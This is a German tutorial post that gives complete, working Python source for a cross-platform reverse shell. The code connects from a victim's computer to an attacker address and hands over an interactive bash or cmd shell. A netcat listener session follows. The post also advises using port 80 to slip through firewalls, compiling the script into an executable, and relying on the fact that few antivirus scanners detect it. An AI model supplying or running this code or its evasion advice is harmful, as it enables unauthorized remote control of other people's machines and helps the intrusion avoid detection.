Python Tutorial - Multi-Plattform Reverse-Shell

24.05.2018, 13:54 - Autor: Mark B.
Ein sehr einfaches aber umso wirkungsvolleres Tool ist eine sogenannte reverse Shell. Das ist ein kleines Programm, dass vom Opfer-PC eine Shell-Verbindung zum Angreifer ausbaut. So lässt sich zB eine Firewall durchdringen da die Verbindung von innen nach außen aufgebaut wird.

Getestet mit Python 3.6 unter Linux und Win. 10

(nicht getestet mit Windows und Cygwin)

#!/usr/bin/python
import socket, subprocess, os, sys

# Verbindung aufbauen
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect(("192.168.1.186", 80))

# Mac OSX, Unix, Linux oder Win mit Cygwin
if sys.platform != "win32":
    os.dup2(soc.fileno(), 0)
    os.dup2(soc.fileno(), 1)
    os.dup2(soc.fileno(), 2)
    # Windows mit Cygwin - run cmd.exe
    if sys.platform == "cygwin":
        proc = subprocess.call(["C:\Windows\System32\cmd.exe"])
    # OSX, Unix, Linux - run bash
    else:
        proc = subprocess.call(["/bin/bash", "-i"])
# Windows 
else:
    data = soc.recv(1024)
    cmd = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    STDOUT, STDERR = cmd.communicate()
    soc.send(STDOUT)
    soc.send(STDERR)

Bevor sich das Opfer zu uns verbinden kann müssen wir noch einen Server-Dienst auf dem Kali-Rechner starten. Dazu verwenden wir einfach Netcat:

root@kali:~# nc -l -p 80
bash: no job control in this shell
bash-3.2$ whoami
mark
bash-3.2$ id
uid=501(mark) gid=20(staff)
groups=20(staff), 501(access_bpf), 12(everyone), 61(localaccounts), 79(_appserverusr), 80(admin), 81(_appserveradm), 98(_lpadmin), 701(com.apple.sharepoint.group.1), 33(_appstore), 100(_lpoperator), 204(_developer), 395(com.apple.access_ftp), 398(com.apple.access_screensharing), 399(com.apple.access_ssh)

Hiebei steht -l für listen und -p 80 für Port 80. In solchen Fällen ist es sinnvoll Ports zu verwenden, die an der Firewall zeimlich sicher nicht geblockt werden - so steht Port 80 für HTTP und das blocken dieses Ports ist äußerst unwahrscheinlich.

Natürlich ist ein Python-Script nicht unbedingt ideal für so einen Angriff da das Opfer den Python-Internpreter am Rechner installiert haben muss um das Script auszuführen. Allerdings gibt es auch Compiler für Python wie zB py2exe (Win), cx_Freeze (Cross-Plattform), py2app (OSX) oder , Nuitka (Cross-Plattform).

Mancher Leser wird sich nun fragen warum sollte man sich die Arbeit überhaupt antun und selber solche Tools schreiben - dazu sehen wir uns einmal an wie Virenscanner auf Metapreter (eine der gebräuchlichsten Trojaner) reagieren:

Und nun Vergleichen wir das mit unserem selbst geschriebenen Code:

Unsere Python-Exe ist mit 10MB nicht besonders klein, da der gesamte Python-Interpreter und alle benutzten Bibliotheken ebenfalls mit inkludiert wurden. Dennoch haben nur zwei Virenscanner das Programm als Schadware entlarft und das obwohl das Programm keine einzige andere Funktion hat und wir nicht einmal irgendwelche Anstrengungen unternommen haben Virenscanner zu überlisten!